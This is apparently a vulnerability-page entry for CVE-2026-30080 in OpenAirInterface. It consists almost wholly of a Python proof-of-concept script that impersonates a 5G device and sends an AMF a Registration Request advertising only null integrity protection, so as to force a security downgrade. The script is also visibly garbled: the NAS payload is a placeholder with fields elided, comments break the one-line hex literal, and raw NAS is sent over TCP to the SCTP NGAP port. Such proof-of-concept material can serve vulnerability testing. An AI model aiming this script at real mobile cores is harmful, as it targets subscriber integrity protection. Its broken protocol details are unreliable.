CVE-2026-30080 OpenAirInterface安全绕过漏洞

# PoC Concept: OpenAirInterface Integrity Protection Downgrade # This script simulates a UE sending a Registration Request with IA0 capability. import socket # Simulated NAS payload structure # In a real scenario, this would be a binary encoded NAS PDU # 5GS Mobile Identity + Security Capabilities (IA0 only) nas_payload = bytes.fromhex( "7e00" # Protocol Discriminator: Mobility Management (MM) "41" # Message Type: Registration request # ... Mobile Identity (SUCI/SUPI) ... # ... Security Capabilities: 00000001 (Bit 0 for IA0, others 0 for NIA1/2/3) ... "01" # UE Security Capability - indicating only IA0 support ) def send_malicious_registration(amf_ip, amf_port): """ Sends a registration request claiming no integrity support (IA0) to exploit the downgrade vulnerability in OAI v2.2.0. """ try: # Establish SCTP or TCP connection to AMF (Simplified as TCP here) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((amf_ip, amf_port)) print(f"[*] Sending Registration Request with IA0 only to {amf_ip}...") sock.send(nas_payload) response = sock.recv(4096) print(f"[+] Received response from AMF: {response.hex()}") # Analyze response to check if Security Mode Command allows IA0 # If accepted, the vulnerability is confirmed. sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target AMF address TARGET_AMF_IP = "192.168.56.101" TARGET_AMF_PORT = 38412 # Standard NGAP port (SCTP usually) send_malicious_registration(TARGET_AMF_IP, TARGET_AMF_PORT)